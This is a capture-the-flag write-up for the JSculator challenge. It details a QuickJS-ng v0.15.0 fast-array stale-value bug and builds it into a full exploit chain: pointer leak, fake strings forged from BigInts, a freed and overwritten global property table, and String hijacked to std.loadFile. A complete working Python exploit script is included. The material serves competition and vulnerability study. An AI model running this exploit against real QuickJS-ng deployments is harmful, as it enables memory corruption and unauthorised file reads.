[SAS CTF 2026] JSculator writeup

TL;DR

jsculator is a BigInt array calculator running on QuickJS-ng v0.15.0. The script exposes only calculator-style commands over arrays and BigInts, with no direct JavaScript execution, no direct string creation, and no direct function calls.

The relevant attack surface is the extend command. It grows an array and then calls push(), which reaches a QuickJS-ng fast-array bug.

Analysis

Service Surface

The Dockerfile runs the service like this:

/app/qjs-linux-x86_64 --std /app/jsculator.js

The engine is QuickJS-ng v0.15.0. Because it is launched with --std, the std and os modules are present in the global object. The user, however, cannot directly run JavaScript. The service reads one line at a time with std.in.getline() and dispatches only the commands implemented by jsculator.js.

The exposed command set:

new <name>
list
drop <name>
set <name> <index> <value>
copy <dst_name> <dst> <src_name> <src>
get <name> <index>
del <name> <index>
add/sub/mul/div <name> <dst> <lhs> <rhs>
extend <state> <coeffs> [count]
quit

This looked like a plain sandbox at first. I could create arrays, store BigInts, copy values, delete slots, and run a recurrence. I could not directly create strings, call functions, or evaluate JavaScript.

The output helper is important:

1
function dumpValue(value) {
2
    if (typeof value === "bigint") {
3
        return value.toString();
4
    }
5
    if (value === undefined) {
6
        return "undefined";
7
    }
8
    if (value === null) {
9
        return "null";
10
    }
11
    return String(value);
12
}

For anything that is not a BigInt, undefined, or null, the service calls the global String function. That detail mattered later: once the global property table is writable, replacing String with another callable object turns a plain get command into a function call.

The path that mattered was runExtend().

1
function runExtend(state, coeffs, count) {
2
    if (state.length < coeffs.length) {
3
        state.length = coeffs.length;
4
    }
5

6
    let produced = 0n;
7

8
    for (let round = 0; round < count; round++) {
9
        let next = 0n;
10
        const base = state.length - coeffs.length;
11

12
        for (let i = 0; i < coeffs.length; i++) {
13
            const coeff = coeffs[i];
14
            const term = state[base + i];
15
            next += (term ?? 0n) * (coeff ?? 0n);
16
        }
17

18
        state.push(next);
19
        produced = next;
20
    }
21

22
    return produced;
23
}

It first extends state.length to match coeffs.length, then calls state.push(next). That exact sequence is where the engine bug triggers.

vulnerable code path

The 0day

The 0day used here is not a bug in jsculator.js’s command parser. It is not a bug in std.loadFile either. The actual bug is a QuickJS-ng v0.15.0 engine memory safety issue in fast-array handling.

I referred to it as:

QuickJS-ng v0.15.0 fast array stale JSValue exposure

In engine terms:

When the visible length of a fast array becomes larger than the initialized
backing store count, Array.prototype.push updates the fast-array count using
the visible length. This makes uninitialized backing store slots observable
as real JSValues.

Expected JavaScript behavior:

1
let a = [];
2
a.length = 5;
3
a.push(0n);
4

5
// a[0]..a[4] are holes.
6
// Reading them should behave like reading undefined.

Observed behavior in the challenge QuickJS-ng v0.15.0 release binary:

a[0]..a[4] contain raw JSValues from previous allocations.
If those raw words look like string/object/bigint tagged values,
they flow into stringify, copy, and delete paths.

I call it a 0day in the CTF writeup sense: the exploit did not rely on a public CVE or a known ready-made exploit. I found this by looking at the provided QuickJS-ng v0.15.0 binary/source and the JavaScript surface reachable from the challenge. The obvious public diff from v0.15.0 to v0.15.1 around growable SharedArrayBuffer was not directly reachable here. The working chain starts from the fast-array stale value reached through extend.

I’m not claiming an assigned CVE here. The accurate description is: a QuickJS-ng engine memory bug discovered and used during the CTF, without depending on a known public issue.

The rest of the writeup follows that chain.

Reproducing Stale JSValues

The minimal service-level shape is:

new s
new c
set c 4 0
extend s c 1
get s 0

Logically, s[0] should be a hole and should behave like undefined. In the release binary, the output depended on allocator state.

In an ASAN build, many exposed slots showed unsupported tags:

OK @ s[0] @ [unsupported type]

In the release binary, however, the same primitive sometimes produced values such as true, 1, string-looking data, or built-in objects. With more heap grooming and coeffs.length around 64, I observed outputs like:

[object AsyncGenerator]
[object WeakRef]
DOMException object expected

That was the turning point. These were not just weird strings; they were real stale QuickJS heap object pointers being interpreted as live JSValues.

QuickJS Value And Object Layouts

On 64-bit QuickJS-ng, a JSValue is 16 bytes:

struct JSValue {
    uint64_t u;
    int64_t tag;
}

The tags I needed:

JS_TAG_OBJECT    = -1
JS_TAG_UNDEFINED =  3

BigInt and String layouts are especially useful.

1
typedef struct JSBigInt {
2
    JSRefCountHeader header;  // int ref_count
3
    uint32_t len;
4
    uint32_t tab[];
5
} JSBigInt;

JSString is basically:

1
struct JSString {
2
    JSRefCountHeader header;         // offset 0
3
    uint32_t len : 31;               // offset 4
4
    uint32_t is_wide_char : 1;
5
    uint32_t hash : 28;              // offset 8
6
    uint32_t kind : 2;
7
    uint32_t atom_type : 2;
8
    uint32_t hash_next;              // offset 12
9
    JSWeakRefRecord *first_weak_ref; // offset 16
10
    // data or indirect pointer        offset 24
11
};

If a BigInt object is reinterpreted as a JS_TAG_STRING, the fields overlap like this:

BigInt.ref_count  -> JSString.ref_count
BigInt.len        -> JSString.len/is_wide_char
BigInt.tab[0]     -> JSString.hash/kind/atom_type
BigInt.tab[1]     -> JSString.hash_next
BigInt.tab[2..3]  -> JSString.first_weak_ref
BigInt.tab[4..]   -> JSString data or indirect pointer

struct overlap

That overlap is the whole trick. The calculator does not let me create arbitrary strings, but it does let me create BigInts. A large integer gives control over the internal 32-bit limbs. If a stale slot later sees that BigInt chunk as a string, it becomes a fake JSString.

Pointer Leak

First I needed an ASLR leak. The leak stage lives in build_ptr_leak_cmds().

The shape:

new holder
new os
new oc
set oc 63 0
extend os oc 1
copy holder 0 os 63

Around os[63], a natural stale object reference appears reliably enough. I copy that value into holder[0], turning it into a live reference with a valid refcount.

Then I groom 6-limb BigInt chunks and small array backing stores. The goal is to make a stale BigInt slot point at memory that is now used as an array backing store containing an object pointer.

Eventually:

get s 0

prints a huge decimal integer:

OK @ s[0] @ <very large decimal integer>

That number is not meaningful as a BigInt. It is a chunk of memory misinterpreted as a BigInt. Splitting the absolute value into 32-bit limbs gives a useful pointer in limbs 2 and 3.

1
def parse_leaked_pointer(line):
2
    dec = int(line.rsplit(b" @ ", 1)[1])
3
    v = abs(dec)
4
    limbs = []
5
    while v:
6
        limbs.append(v & 0xFFFFFFFF)
7
        v >>= 32
8
    return limbs[2] | (limbs[3] << 32)

The leak stayed stable locally and remotely. I used these offsets:

OFF_QJS_BASE = 0x3c710
OFF_PROP     = 0x1c750

qjs_base = leak + 0x3c710
prop     = leak + 0x1c750

prop is the address of the global object’s property table, which will be freed and overwritten later.

Fake Indirect JSString

Next step: use a BigInt as a fake JSString.

At offset 8 of JSString, QuickJS stores:

hash:28, kind:2, atom_type:2

kind == 2 is JS_STRING_KIND_INDIRECT. Therefore, setting tab[0] to the following value makes the fake string indirect:

0x20000000

Helper:

1
def fake_indirect_bigint(addr):
2
    limbs = [
3
        0x20000000,
4
        0,
5
        0,
6
        0,
7
        addr & 0xFFFFFFFF,
8
        (addr >> 32) & 0xFFFFFFFF,
9
    ]
10
    return hex(sum(limb << (32 * i) for i, limb in enumerate(limbs)))

The pointer goes into tab[4..5] because an indirect string’s strv(str) follows a pointer near offset 24. In the BigInt/String overlap, offset 24 is tab[4].

During analysis, this also gave an arbitrary-read-style primitive. For example, setting the indirect pointer to qjs_base and printing the string could show the ELF header:

\x7fELF\x02\x01...

However, this primitive is destructive. When a fake indirect string is freed, QuickJS also frees the indirect string target:

1
case JS_STRING_KIND_INDIRECT:
2
    js_free_rt(rt, strv(str));
3
    break;
4
js_free_rt(rt, str);

So I stopped using it as a read primitive. After one leak, I relied on stable offsets and used the fake indirect string for its free side effect.

Freeing global.prop

That free side effect became the next primitive.

If the fake indirect JSString’s indirect pointer is global.prop, then freeing that string frees the global property table.

The stale mapping I used:

zs[3] -> zfake[11]
zs[0] -> zfake[1]

zfake[11] is a fake indirect string:

kind             = JS_STRING_KIND_INDIRECT
indirect pointer = global.prop

Then:

del zs 3

Deleting zs[3] frees the stale string value. Its finalizer calls js_free_rt(rt, strv(str)), so global.prop is freed.

Do not drop the whole zs array here. That frees too many stale values and usually crashes. I only free one controlled stale slot with del zs 3.

Overwriting The Freed Property Table

My first idea was to reallocate the freed global.prop chunk with a BigInt. That does not work cleanly because a BigInt object starts with ref_count and len, while a property table needs raw JSProperty entries from byte zero.

The better allocator primitive was the input line buffer.

Right after freeing global.prop, sending a long raw input line caused the line buffer to reuse memory near the freed property table. Locally, the alignment was stable:

line buffer user pointer = global.prop - 0x30

This raw send places prop_table exactly at global.prop:

1
tube.send(b"A" * 48 + prop_table + b"\n")

The raw line is not a valid command. The parser usually prints:

ERR @ not a function

ERR @ not a function is just parser noise from the binary line. By that point, the freed property table chunk already contains my bytes.

Sparse Global Property Table

The global property table is an array of JSProperty entries. In this exploit state, the size was stable:

prop_size  = 127
prop_count = 96
entry size = 16
table size = 127 * 16 = 2032 bytes

I did not reconstruct the full original table. A sparse table was enough. Every slot starts as undefined:

1
undef = struct.pack("<Qq", 0, 3)
2
prop = bytearray(undef * 127)

Then only the needed slots are restored.

property table

Builder:

1
def js_object_value(ptr):
2
    return struct.pack("<Qq", ptr, -1)
3

4
def build_sparse_prop_table(leak, string_func_off):
5
    undef = struct.pack("<Qq", 0, 3)
6
    prop = bytearray(undef * PROP_SIZE)
7

8
    keep = {
9
        29: OFF_EVAL,
10
        30: OFF_NUMBER,
11
        37: 0x32A10,
12
        38: OFF_BIGINT,
13
        78: OFF_GLOBAL_78,
14
        79: OFF_STD,
15
        80: OFF_OS,
16
    }
17
    for slot, off in keep.items():
18
        prop[slot * 16:(slot + 1) * 16] = js_object_value(leak + off)
19

20
    prop[32 * 16:33 * 16] = js_object_value(leak + string_func_off)
21
    return bytes(prop)

Why these slots matter:

Number: parseIndex() calls Number(raw).
BigInt: parseBig() calls BigInt(text).
std: writeLine() needs std.out.puts/flush.
os: kept for diagnostics and --std global stability.
eval: kept for the eval proof and general stability.

Slot 32 is originally String. I replace it with the callable object I want:

mode eval   -> String = eval
mode runsh  -> String = std.loadFile
mode flag   -> String = std.loadFile
mode getcwd -> String = os.getcwd

Because the property table is sent as one raw line, a newline byte inside the payload would split the input. If the randomized addresses produce a newline in the payload, the exploit just retries:

1
if b"\n" in prop_table:
2
    raise RuntimeError("newline in raw property payload; retry")

Proof: String = eval

The first clean proof was String = eval.

If zs[0] is a fake source string containing "1+1 ", then:

handleGet()
 -> dumpValue(zs[0])
 -> String(zs[0])
 -> eval("1+1   ")
 -> 2

Output:

OK @ zs[0] @ 2

This confirmed that the global String overwrite gives a real function-call primitive.

Using eval for the final flag would require a longer JavaScript payload. There was a shorter and more stable path.

String = std.loadFile

Because the service runs with --std, std.loadFile is available through the global std module. If global String points to the std.loadFile CFunction object, then dumpValue() becomes a file read primitive:

dumpValue(zs[0])
 -> String(zs[0])
 -> std.loadFile(fake_string)

Next I needed the std.loadFile object address. During analysis, I followed the std module namespace object:

std object
 -> shape/property table
 -> loadFile export slot
 -> JSVarRef*
 -> JSVarRef.pvalue
 -> JSValue object
 -> JSObject.u.cfunc.c_function

Offsets that stayed fixed relative to the leak:

OFF_STD_LOADFILE = 0x11330
OFF_OS_GETCWD    = 0x11f50
OFF_OS_READDIR   = 0x12040

I verified the remote current working directory by setting String = os.getcwd.

remote cwd

The remote cwd is /app, so the relative path flag.txt is enough.

Fake Direct JSString(“flag.txt”)

The argument to std.loadFile is a fake direct JSString. For a direct string, kind = JS_STRING_KIND_NORMAL, and the bytes begin after the JSString header.

In the BigInt/String overlap, string bytes begin at tab[4].

1
def fake_string_bigint(src):
2
    if len(src) < 6:
3
        src = src.ljust(6, b" ")
4
    limbs = [0] * len(src)
5
    for i, ch in enumerate(src):
6
        limbs[4 + i // 4] |= ch << (8 * (i % 4))
7
    last_source_limb = 4 + (len(src) - 1) // 4
8
    if len(src) - 1 > last_source_limb:
9
        limbs[len(src) - 1] = 1
10
    return hex(sum(limb << (32 * i) for i, limb in enumerate(limbs)))

One constraint matters: the fake string length overlaps with the BigInt limb count. The file name length therefore has to fit the stable fake-string grooming path.

The path I used:

flag.txt

Its length is 8:

len("flag.txt") = 8

I also tried /app/flag.txt, but length 13 was less stable with this primitive. After confirming the cwd was /app, the relative path was cleaner.

Final Exploit Flow

final exploit flow

At this point the exploit is just wiring the primitives together:

Leak a pointer from a stale object reference and calculate global.prop.
Build a sparse replacement property table where slot 32 (String) points to std.loadFile.
Prepare zfake[11] as a fake indirect JSString pointing at global.prop.
Prepare zfake[1] as a fake direct JSString("flag.txt").
del zs 3 frees global.prop.
Send b"A" * 48 + prop_table + b"\n" so the raw line buffer overwrites the freed table.
get zs 0 calls dumpValue(zs[0]), which becomes std.loadFile("flag.txt").

Exploit

local proofs

What each proof checked:

eval: global String became eval, and the fake source "1+1 " executed.
runsh: global String became std.loadFile, and the fake source "run.sh" was read.
getcwd: global String became os.getcwd, and the current working directory was printed.

remote flag

ERR @ not a function is not a failure. It is the parser reacting to the raw binary property-table overwrite line. The next OK @ zs[0] @ ... line is the flag read.

1
import os
2
import time
3
import socket
4
import select
5
import struct
6
import subprocess
7
import argparse
8

9

10
QJS = "/tmp/qjs-linux-x86_64"
11
SCRIPT = "jsculator.js"
12

13
OFF_QJS_BASE = 0x3C710
14
OFF_PROP = 0x1C750
15

16
OFF_EVAL = 0x2B3A0
17
OFF_NUMBER = 0x2D920
18
OFF_BIGINT = 0x2B490
19
OFF_GLOBAL_78 = 0x221A0
20
OFF_STD = 0x222E0
21
OFF_OS = 0x22650
22

23
OFF_STD_LOADFILE = 0x11330
24
OFF_OS_GETCWD = 0x11F50
25
OFF_OS_READDIR = 0x12040
26

27
PROP_SIZE = 127
28

29

30
class Tube:
31
    def __init__(self, host=None, port=None):
32
        self.buf = b""
33
        if host is None:
34
            self.proc = subprocess.Popen(
35
                [QJS, "--std", SCRIPT],
36
                cwd=os.path.dirname(__file__) or ".",
37
                stdin=subprocess.PIPE,
38
                stdout=subprocess.PIPE,
39
                stderr=subprocess.PIPE,
40
            )
41
            self.fd = self.proc.stdout.fileno()
42
            self.sock = None
43
        else:
44
            self.proc = None
45
            self.sock = socket.create_connection((host, port), timeout=5)
46
            self.sock.setblocking(False)
47
            self.fd = self.sock.fileno()
48

49
    def send(self, data):
50
        if self.sock is not None:
51
            self.sock.sendall(data)
52
        else:
53
            self.proc.stdin.write(data)
54
            self.proc.stdin.flush()
55

56
    def recv_some(self, timeout=0.02):
57
        out = b""
58
        end = time.time() + timeout
59
        while time.time() < end:
60
            ready, _, _ = select.select([self.fd], [], [], max(0, end - time.time()))
61
            if not ready:
62
                break
63
            if self.sock is not None:
64
                try:
65
                    chunk = self.sock.recv(65536)
66
                except BlockingIOError:
67
                    break
68
            else:
69
                chunk = os.read(self.fd, 65536)
70
            if not chunk:
71
                break
72
            out += chunk
73
            self.buf += chunk
74
        return out
75

76
    def send_lines(self, cmds, chunk=16, timeout=0.01):
77
        out = b""
78
        for i in range(0, len(cmds), chunk):
79
            self.send(("\n".join(cmds[i:i + chunk]) + "\n").encode())
80
            out += self.recv_some(timeout)
81
        out += self.recv_some(0.08)
82
        return out
83

84
    def read_until_line(self, needle, timeout=5):
85
        end = time.time() + timeout
86
        while time.time() < end:
87
            self.recv_some(0.05)
88
            for line in self.buf.splitlines():
89
                if needle in line:
90
                    return line
91
        raise RuntimeError(f"timeout waiting for {needle!r}; tail={self.buf[-500:]!r}")
92

93
    def close(self):
94
        if self.sock is not None:
95
            self.sock.close()
96
        else:
97
            self.proc.kill()
98

99

100
def build_ptr_leak_cmds():
101
    cmds = [
102
        "new holder",
103
        "new os",
104
        "new oc",
105
        "set oc 63 0",
106
        "extend os oc 1",
107
        "copy holder 0 os 63",
108
    ]
109

110
    keep = hex(0x12345678 << (32 * 5))
111
    n = 8
112
    cmds += [
113
        "new keep",
114
        f"set keep 0 {keep}",
115
        "new s",
116
        "new c",
117
        f"set c {n - 1} 0",
118
    ]
119
    for j in range(40):
120
        cmds.append(f"new g{j}")
121
        for i in range(n + 1):
122
            cmds.append(f"copy g{j} {i} keep 0")
123
    for j in range(40):
124
        cmds.append(f"drop g{j}")
125

126
    cmds += ["extend s c 1", "drop keep"]
127
    for j in range(2):
128
        cmds += [f"new ov{j}", f"copy ov{j} 0 holder 0", f"set ov{j} 1 0"]
129
    for j in range(50):
130
        cmds += [f"new pad{j}", f"set pad{j} 0 {j + 1}", f"set pad{j} 1 {j + 2}"]
131
    cmds.append("get s 0")
132
    return cmds
133

134

135
def parse_leaked_pointer(line):
136
    dec = int(line.rsplit(b" @ ", 1)[1])
137
    v = abs(dec)
138
    limbs = []
139
    while v:
140
        limbs.append(v & 0xFFFFFFFF)
141
        v >>= 32
142
    return limbs[2] | (limbs[3] << 32)
143

144

145
def fake_indirect_bigint(addr):
146
    limbs = [
147
        0x20000000,
148
        0,
149
        0,
150
        0,
151
        addr & 0xFFFFFFFF,
152
        (addr >> 32) & 0xFFFFFFFF,
153
    ]
154
    return hex(sum(limb << (32 * i) for i, limb in enumerate(limbs)))
155

156

157
def normal_fake(i):
158
    marker = (f"N{i:05d}").encode()
159
    limbs = [
160
        0,
161
        0,
162
        0,
163
        0,
164
        int.from_bytes(marker[:4], "little"),
165
        int.from_bytes(marker[4:] + b"\0\0", "little"),
166
    ]
167
    return hex(sum(limb << (32 * i) for i, limb in enumerate(limbs)))
168

169

170
def fake_string_bigint(src):
171
    if len(src) < 6:
172
        src = src.ljust(6, b" ")
173
    limbs = [0] * len(src)
174
    for i, ch in enumerate(src):
175
        limbs[4 + i // 4] |= ch << (8 * (i % 4))
176
    # Keep the BigInt normalized to the desired limb count without changing
177
    # the bytes visible through JSString.str8().
178
    last_source_limb = 4 + (len(src) - 1) // 4
179
    if len(src) - 1 > last_source_limb:
180
        limbs[len(src) - 1] = 1
181
    return hex(sum(limb << (32 * i) for i, limb in enumerate(limbs)))
182

183

184
def build_z_cmds(prop, source):
185
    fake_free = fake_indirect_bigint(prop)
186
    fake_source = fake_string_bigint(source)
187
    cmds = [
188
        "new zkeep",
189
        f"set zkeep 0 {hex(0x12345678 << (32 * 5))}",
190
        "new zfake",
191
        "new zs",
192
        "new zc",
193
        "set zc 4 0",
194
        "new zg",
195
        "copy zg 0 zkeep 0",
196
        "drop zg",
197
        "extend zs zc 1",
198
    ]
199
    for i in range(80):
200
        if i == 11:
201
            val = fake_free      # zs[3] -> free global prop table
202
        elif i == 1:
203
            val = fake_source    # zs[0] -> argument to hijacked String()
204
        else:
205
            val = normal_fake(i)
206
        cmds.append(f"set zfake {i} {val}")
207
    return cmds
208

209

210
def js_object_value(ptr):
211
    return struct.pack("<Qq", ptr, -1)
212

213

214
def build_sparse_prop_table(leak, string_func_off):
215
    undef = struct.pack("<Qq", 0, 3)
216
    prop = bytearray(undef * PROP_SIZE)
217

218
    # These raw property-table slots are stable in the challenge state after
219
    # the leak grooming. They are raw JSProperty indices, not
220
    # Object.getOwnPropertyNames(globalThis) indices.
221
    keep = {
222
        29: OFF_EVAL,
223
        30: OFF_NUMBER,
224
        37: 0x32A10,
225
        38: OFF_BIGINT,
226
        78: OFF_GLOBAL_78,
227
        79: OFF_STD,
228
        80: OFF_OS,
229
    }
230
    for slot, off in keep.items():
231
        prop[slot * 16:(slot + 1) * 16] = js_object_value(leak + off)
232

233
    prop[32 * 16:33 * 16] = js_object_value(leak + string_func_off)
234
    return bytes(prop)
235

236

237
def mode_config(args):
238
    if args.mode == "flag":
239
        path = args.path.encode()
240
        if len(path) not in (6, 8, 9):
241
            raise SystemExit("this exploit path mode supports 6, 8, or 9 byte paths; default is flag.txt")
242
        return OFF_STD_LOADFILE, path
243
    if args.mode == "runsh":
244
        return OFF_STD_LOADFILE, b"run.sh"
245
    if args.mode == "getcwd":
246
        return OFF_OS_GETCWD, b"XXXXXX"
247
    if args.mode == "eval":
248
        return OFF_EVAL, b"1+1   "
249
    raise SystemExit(f"unsupported mode {args.mode}")
250

251

252
def attempt(args):
253
    tube = Tube(args.host, args.port)
254
    try:
255
        tube.send_lines(build_ptr_leak_cmds(), chunk=16, timeout=0.02)
256
        line = tube.read_until_line(b"OK @ s[0] @ ", timeout=25)
257
        leak = parse_leaked_pointer(line)
258
        qjs_base = leak + OFF_QJS_BASE
259
        prop = leak + OFF_PROP
260
        string_func_off, source = mode_config(args)
261
        prop_table = build_sparse_prop_table(leak, string_func_off)
262
        if b"\n" in prop_table:
263
            raise RuntimeError("newline in raw property payload; retry")
264

265
        if args.verbose:
266
            print(f"leak     = {leak:#x}")
267
            print(f"qjs_base = {qjs_base:#x}")
268
            print(f"prop     = {prop:#x}")
269
            print(f"String   = {leak + string_func_off:#x}")
270
            print(f"source   = {source!r}")
271

272
        tube.send_lines(build_z_cmds(prop, source), chunk=12, timeout=0.01)
273
        tube.send_lines(["del zs 3"], chunk=1, timeout=0.02)
274
        tube.send(b"A" * 48 + prop_table + b"\n")
275
        tube.recv_some(0.15)
276

277
        tube.buf = b""
278
        tube.send(b"get zs 0\n")
279
        tube.read_until_line(b"OK @ zs[0] @ ", timeout=5)
280
        return tube.buf
281
    finally:
282
        tube.close()
283

284

285
def main():
286
    parser = argparse.ArgumentParser()
287
    parser.add_argument("--host")
288
    parser.add_argument("--port", type=int)
289
    parser.add_argument("--mode", choices=["flag", "runsh", "getcwd", "eval"], default="flag")
290
    parser.add_argument("--path", default="flag.txt")
291
    parser.add_argument("--tries", type=int, default=30)
292
    parser.add_argument("-v", "--verbose", action="store_true")
293
    args = parser.parse_args()
294
    if (args.host is None) != (args.port is None):
295
        raise SystemExit("--host and --port must be used together")
296

297
    last_error = None
298
    for _ in range(args.tries):
299
        try:
300
            out = attempt(args)
301
            print(out.decode("utf-8", "replace"), end="")
302
            return
303
        except Exception as exc:
304
            last_error = exc
305
            if args.verbose:
306
                print(f"retry: {exc}")
307
            time.sleep(1)
308
    raise SystemExit(f"failed after {args.tries} tries: {last_error}")
309

310

311
if __name__ == "__main__":
312
    main()

1
const arrays = new Map();
2

3
function writeLine(line) {
4
    std.out.puts(line + "\n");
5
    std.out.flush();
6
}
7

8
function ok() {
9
    writeLine("OK");
10
}
11

12
function fail(message) {
13
    writeLine(`ERR @ ${message}`);
14
}
15

16
function okValue(name, value) {
17
    writeLine(`OK @ ${name} @ ${value}`);
18
}
19

20
function usage() {
21
    writeLine("commands");
22
    writeLine("  help");
23
    writeLine("  new <name>");
24
    writeLine("  list");
25
    writeLine("  drop <name>");
26
    writeLine("  set <name> <index> <value>");
27
    writeLine("  copy <dst_name> <dst> <src_name> <src>");
28
    writeLine("  get <name> <index>");
29
    writeLine("  del <name> <index>");
30
    writeLine("  add <name> <dst> <lhs> <rhs>");
31
    writeLine("  sub <name> <dst> <lhs> <rhs>");
32
    writeLine("  mul <name> <dst> <lhs> <rhs>");
33
    writeLine("  div <name> <dst> <lhs> <rhs>");
34
    writeLine("  extend <state> <coeffs> [count]");
35
    writeLine("  quit");
36
}
37

38
function expectArray(name) {
39
    const arr = arrays.get(name);
40
    if (!arr) {
41
        throw new Error(`unknown array '${name}'`);
42
    }
43
    return arr;
44
}
45

46
function parseIndex(raw) {
47
    if (!/^-?\d+$/.test(raw)) {
48
        throw new Error(`invalid index '${raw}'`);
49
    }
50
    const value = Number(raw);
51
    if (!Number.isSafeInteger(value) || value < 0) {
52
        throw new Error(`invalid index '${raw}'`);
53
    }
54
    return value;
55
}
56

57
function parseCount(raw) {
58
    const value = parseIndex(raw);
59
    if (value === 0) {
60
        throw new Error("count must be positive");
61
    }
62
    return value;
63
}
64

65
function parseBig(raw) {
66
    let text = raw;
67
    if (text.endsWith("n")) {
68
        text = text.slice(0, -1);
69
    }
70
    try {
71
        return BigInt(text);
72
    } catch (error) {
73
        throw new Error(`invalid bigint '${raw}'`);
74
    }
75
}
76

77
function readBig(arr, idx) {
78
    const value = arr[idx];
79
    if (typeof value !== "bigint") {
80
        throw new Error(`slot ${idx} is not a bigint`);
81
    }
82
    return value;
83
}
84

85
function dumpValue(value) {
86
    if (typeof value === "bigint") {
87
        return value.toString();
88
    }
89
    if (value === undefined) {
90
        return "undefined";
91
    }
92
    if (value === null) {
93
        return "null";
94
    }
95
    return String(value);
96
}
97

98
function computeBinary(op, lhs, rhs) {
99
    switch (op) {
100
    case "add":
101
        return lhs + rhs;
102
    case "sub":
103
        return lhs - rhs;
104
    case "mul":
105
        return lhs * rhs;
106
    case "div":
107
        if (rhs === 0n) {
108
            throw new Error("division by zero");
109
        }
110
        return lhs / rhs;
111
    default:
112
        throw new Error(`unsupported op '${op}'`);
113
    }
114
}
115

116
function runExtend(state, coeffs, count) {
117
    if (state.length < coeffs.length) {
118
        state.length = coeffs.length;
119
    }
120

121
    let produced = 0n;
122

123
    for (let round = 0; round < count; round++) {
124
        let next = 0n;
125
        const base = state.length - coeffs.length;
126

127
        for (let i = 0; i < coeffs.length; i++) {
128
            const coeff = coeffs[i];
129
            const term = state[base + i];
130
            next += (term ?? 0n) * (coeff ?? 0n);
131
        }
132

133
        state.push(next);
134
        produced = next;
135
    }
136

137
    return produced;
138
}
139

140
function handleNew(parts) {
141
    if (parts.length !== 2) {
142
        throw new Error("usage: new <name>");
143
    }
144
    const name = parts[1];
145
    if (!/^[A-Za-z0-9_.-]{1,32}$/.test(name)) {
146
        throw new Error("invalid array name");
147
    }
148
    if (arrays.has(name)) {
149
        throw new Error(`array '${name}' already exists`);
150
    }
151
    arrays.set(name, []);
152
    ok();
153
}
154

155
function handleList(parts) {
156
    if (parts.length !== 1) {
157
        throw new Error("usage: list");
158
    }
159
    if (arrays.size === 0) {
160
        ok();
161
        return;
162
    }
163
    for (const [name, arr] of arrays) {
164
        okValue(name, arr.length);
165
    }
166
}
167

168
function handleDrop(parts) {
169
    if (parts.length !== 2) {
170
        throw new Error("usage: drop <name>");
171
    }
172
    if (!arrays.delete(parts[1])) {
173
        throw new Error(`unknown array '${parts[1]}'`);
174
    }
175
    ok();
176
}
177

178
function handleSet(parts) {
179
    if (parts.length !== 4) {
180
        throw new Error("usage: set <name> <index> <value>");
181
    }
182
    const arr = expectArray(parts[1]);
183
    const idx = parseIndex(parts[2]);
184
    arr[idx] = parseBig(parts[3]);
185
    ok();
186
}
187

188
function handleGet(parts) {
189
    if (parts.length !== 3) {
190
        throw new Error("usage: get <name> <index>");
191
    }
192
    const arr = expectArray(parts[1]);
193
    const idx = parseIndex(parts[2]);
194
    okValue(`${parts[1]}[${idx}]`, dumpValue(arr[idx]));
195
}
196

197
function handleCopy(parts) {
198
    if (parts.length !== 5) {
199
        throw new Error("usage: copy <dst_name> <dst> <src_name> <src>");
200
    }
201
    const dstArr = expectArray(parts[1]);
202
    const dst = parseIndex(parts[2]);
203
    const srcArr = expectArray(parts[3]);
204
    const src = parseIndex(parts[4]);
205
    dstArr[dst] = srcArr[src];
206
    ok();
207
}
208

209
function handleDelete(parts) {
210
    if (parts.length !== 3) {
211
        throw new Error("usage: del <name> <index>");
212
    }
213
    const arr = expectArray(parts[1]);
214
    const idx = parseIndex(parts[2]);
215
    delete arr[idx];
216
    ok();
217
}
218

219
function handleBinary(parts) {
220
    if (parts.length !== 5) {
221
        throw new Error(`usage: ${parts[0]} <name> <dst> <lhs> <rhs>`);
222
    }
223
    const arr = expectArray(parts[1]);
224
    const dst = parseIndex(parts[2]);
225
    const lhs = readBig(arr, parseIndex(parts[3]));
226
    const rhs = readBig(arr, parseIndex(parts[4]));
227
    arr[dst] = computeBinary(parts[0], lhs, rhs);
228
    ok();
229
}
230

231
function handleExtend(parts) {
232
    if (parts.length !== 3 && parts.length !== 4) {
233
        throw new Error("usage: extend <state> <coeffs> [count]");
234
    }
235
    const state = expectArray(parts[1]);
236
    const coeffs = expectArray(parts[2]);
237
    const count = parts.length === 4 ? parseCount(parts[3]) : 1;
238
    const produced = runExtend(state, coeffs, count);
239
    okValue("result", produced.toString());
240
}
241

242
function dispatch(line) {
243
    const trimmed = line.trim();
244
    if (trimmed === "") {
245
        return true;
246
    }
247

248
    const parts = trimmed.split(/\s+/);
249

250
    switch (parts[0]) {
251
    case "help":
252
        usage();
253
        return true;
254
    case "new":
255
        handleNew(parts);
256
        return true;
257
    case "list":
258
        handleList(parts);
259
        return true;
260
    case "drop":
261
        handleDrop(parts);
262
        return true;
263
    case "set":
264
        handleSet(parts);
265
        return true;
266
    case "copy":
267
        handleCopy(parts);
268
        return true;
269
    case "get":
270
        handleGet(parts);
271
        return true;
272
    case "del":
273
        handleDelete(parts);
274
        return true;
275
    case "add":
276
    case "sub":
277
    case "mul":
278
    case "div":
279
        handleBinary(parts);
280
        return true;
281
    case "extend":
282
        handleExtend(parts);
283
        return true;
284
    case "quit":
285
    case "exit":
286
        ok();
287
        return false;
288
    default:
289
        throw new Error(`unknown command '${parts[0]}'`);
290
    }
291
}
292

293
function main() {
294
    writeLine("JSculator by AI Bro");
295
    writeLine("type help to see list of commands");
296
    std.out.puts("> ");
297
    std.out.flush();
298

299
    for (;;) {
300
        const line = std.in.getline();
301
        if (line === null) {
302
            break;
303
        }
304

305
        try {
306
            if (!dispatch(line)) {
307
                break;
308
            }
309
        } catch (error) {
310
            fail(error.message ?? String(error));
311
        }
312

313
        std.out.puts("> ");
314
        std.out.flush();
315
    }
316
}
317

318
main();

Appendix

Experiments That Did Not Make The Final Chain

The main writeup only keeps the path that directly led to the final exploit. These are the side tracks I checked along the way.

BigInt Max-Size Invariant Bypass

I started by spending a lot of time on BigInt internals, mostly because the challenge exposed so many BigInt operations.

One interesting invariant bypass did exist:

JS_BIGINT_MAX_SIZE = 32768 limbs

js_bigint_extend() did not re-check the max size when appending one sign-extension limb. By constructing a 32768-limb BigInt with the right top limb and then adding it to itself, I could create a 32769-limb BigInt.

It did not become a useful corruption primitive.

get failed during decimal toString() with BigInt is too large to allocate.
Further add/sub/mul/div attempts hit the next BigInt allocation check.
ASAN/UBSAN boundary tests around limb sizes did not show an OOB access.

Parser And String Surface

I also checked the parser/string input surface:

very large ASCII-space lines
hundreds of thousands of tokens
invalid UTF-8 bytes
NUL bytes inside lines
the trim().split(/\s+/) path

No useful crash or corruption came out of these.

Array Length Boundary

I checked large array indexes as well.
